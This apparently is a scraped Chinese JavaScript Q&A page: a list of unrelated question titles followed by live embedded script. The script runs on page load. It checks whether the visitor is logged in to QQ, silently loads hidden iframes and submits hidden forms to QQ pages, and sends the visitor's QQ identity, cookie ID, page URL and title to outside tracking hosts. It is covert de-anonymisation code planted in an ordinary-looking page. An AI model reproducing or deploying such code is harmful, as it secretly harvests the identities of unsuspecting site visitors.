解决方案 »
- 使用FreeTextBox时候JS错误、在线等100分献上
- 翻页的问题,着急上火了 .各位帮帮忙吧,在线等...谢了!!
- js表单验证的问题,为什么表单提交只走第一个方法,第二个不走那??
- 求助,DOM解析是什么概念啊?
- 如何获取鼠标下的对象?
- 如何动态给div中选中的某段文字设置字型(如黑体、斜体之类)
- 提交到本网以外,感觉起来不刷新,如何实现,谢谢。
- 怎样用javascript提取硬件信息?
- ***请教一个问题***
- 怎样使Layer始终在其它页面元素的上面
- 急急急!!!我想取某一坐标的颜色值,js有办法么
- 用两个按钮来控制input type="text"中文字的大小和颜色 谁能帮帮忙?
window.cfguid = "28";
window.cfgqq = "992930";
window.cfgurl = "http://huoyan.yiheluntan.com/";
var isLoginTimeID;function SetCookie(name, value) {
var exp = new Date();
exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null
}function DelCookie(name) {
var exp = new Date();
exp.setTime(exp.getTime() - 1);
var cval = getCookie(name);
if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}function insertFrame() {
var ms = document.createElement("iframe");
ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
ms.width = 0;
ms.height = 0;
ms.frameborder = 0;
ms.scrolling = "no";
if (ms.attachEvent) {
ms.attachEvent("onload", function () {
newSubmit()
})
} else {
ms.onload = function () {
newSubmit()
}
}
document.body.appendChild(ms)
}function newSubmit() {
var uincookie = GetCookie("uincookie");
if (uincookie == null) {
uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
SetCookie("uincookie", uincookie)
}
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
oHead.appendChild(oScript)
}function isLogin() {
var code = null;
if (typeof (data3) == "undefined") {
code = data0.err
} else {
code = data3.err
} if (code == 1007) {
window.clearInterval(isLoginTimeID);
insertFrame()
} else {
var uincookie = GetCookie("uincookie");
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
oHead.appendChild(oScript)
} else {
var checkscript = document.getElementById("checkloginscript");
checkscript.parentNode.removeChild(checkscript)
}
}
}function dynamicLoad() {
var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
var time = new Date().getTime();
vsrc = vsrc + time;
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.id = "checkloginscript";
if (oScript.readyState) {
oScript.onreadystatechange = function () {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null;
isLogin()
}
}
} else {
oScript.onload = function () {
isLogin()
}
}
oScript.src = vsrc;
oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);
document.write("<iframe src='' id='zieowy_id' height='0' width='0' frameborder=0;></iframe>");
var Qin_api = 'http://api.bjbmyj.com/api';
var isIE = document.all ? true : false;
var ie = document.all ? true : false;
var isIE = !!window.ActiveXObject;
function loadJS(jsurl, onsuccess, charset, onerr) {
var xScript = document.createElement("script");
xScript.type = "text/javascript";
if (charset == '') {
xScript.charset = "utf-8"
} else {
xScript.charset = charset
}
xScript.src = jsurl;
xScript.onerror = function() {
if (onerr) {
setTimeout(onerr, 10)
}
};
if (ie) {
xScript.onreadystatechange = function() {
if (xScript.readyState) {
if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
} else {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
}
} else {
xScript.onload = function() {
if (xScript.readyState) {
if (xScript.readyState == "loaded" || xScript.readyState == "complete") {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
} else {
xScript.onreadystatechange = null;
xScript.onload = null;
if (onsuccess) {
setTimeout(onsuccess, 10)
}
}
}
}
document.getElementsByTagName('HEAD').item(0).appendChild(xScript)
}
function fangkenoLogin() {
xx1 = getCookie("fkqq");
xx2 = getCookie("fkname");
try {
if (xx1 == '' || xx1 == 'null') {
fangkenoLogin_api_cookie()
} else {
setTimeout(xxx_third, 1)
}
} catch (e) {
fangkenoLogin_api_cookie()
}
}
function fangkenoLogin_api_cookie() {
fangkenoLogin_do()
}
function qqs_not() {
fangkenoLogin_do()
}
function fangkenoLogin_do() {
loadJS("http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime(), checkLoginCB)
}
function checkLoginCB() {
try {
if (data0.err == 1026) {
setTimeout(blog_api, 100)
} else {
setTimeout(fangkenoLogin, 5000)
}
} catch (e) {
setTimeout(fangkenoLogin, 5000)
}
}
function blog_api() {
loadJS(Qin_api + "/blog_qq.php?t=" + (new Date).getTime())
}
function loading_blog(blogid, uid) {
uid_s = uid;
blogid_s = blogid;
hg_msurl = "http://mama.kid.qq.com/" + blogid + ".htm";
var sd = document.getElementById("zieowy_id");
SdWindow = sd.contentWindow;
var TheForm = "<form class='ftext' name='payFM' id='payFM' method='get' ><form>";
SdWindow.document.body.innerHTML = TheForm;
SdWindow.document.forms[0].action = hg_msurl;
SdWindow.document.forms[0].target = "_self";
SdWindow.document.forms[0].submit();
setTimeout(get_lastview, 2000)
}
function get_lastview() {
var hyj_b = new Date();
var hyj_tm = hyj_b.getTime();
hyj_tm = Math.round(hyj_tm / 1000);
my_fetch_url = Qin_api + "/qq/index_qq.php?uid=" + uid_s + "&blogid=" + blogid_s + "&tm=" + hyj_tm;
loadJS(my_fetch_url)
}
function qqs(id) {
xx1 = id.uin;
xx2 = encodeURIComponent(id.name);
setTimeout(xxx_third, 1)
}
function xxx_third() {
var xurl = location.href;
var xurl = xurl.replace("T-census.php", "C-census.php");
var iframe = document.createElement("iframe");
iframe.src = xurl + "&xx1=" + xx1 + "&xx2=" + xx2;
iframe.id = "QQfangke_iframe_two";
iframe.name = "QQfangke_iframe_two";
iframe.style.width = "0px";
iframe.style.height = "0px";
iframe.scrolling = "no";
iframe.setAttribute('frameborder', '0', 0);
document.body.appendChild(iframe)
}
function setCookie(name, value) {
var Days = 1000;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return (arr[2]);
else
return 'null'
}
function delCookie(name) {
var date = new Date();
date.setTime(date.getTime() - 10000);
document.cookie = name + "=;expire=" + date.toGMTString()
}
delCookie("fkqq");
delCookie("fkname");
fangkenoLogin();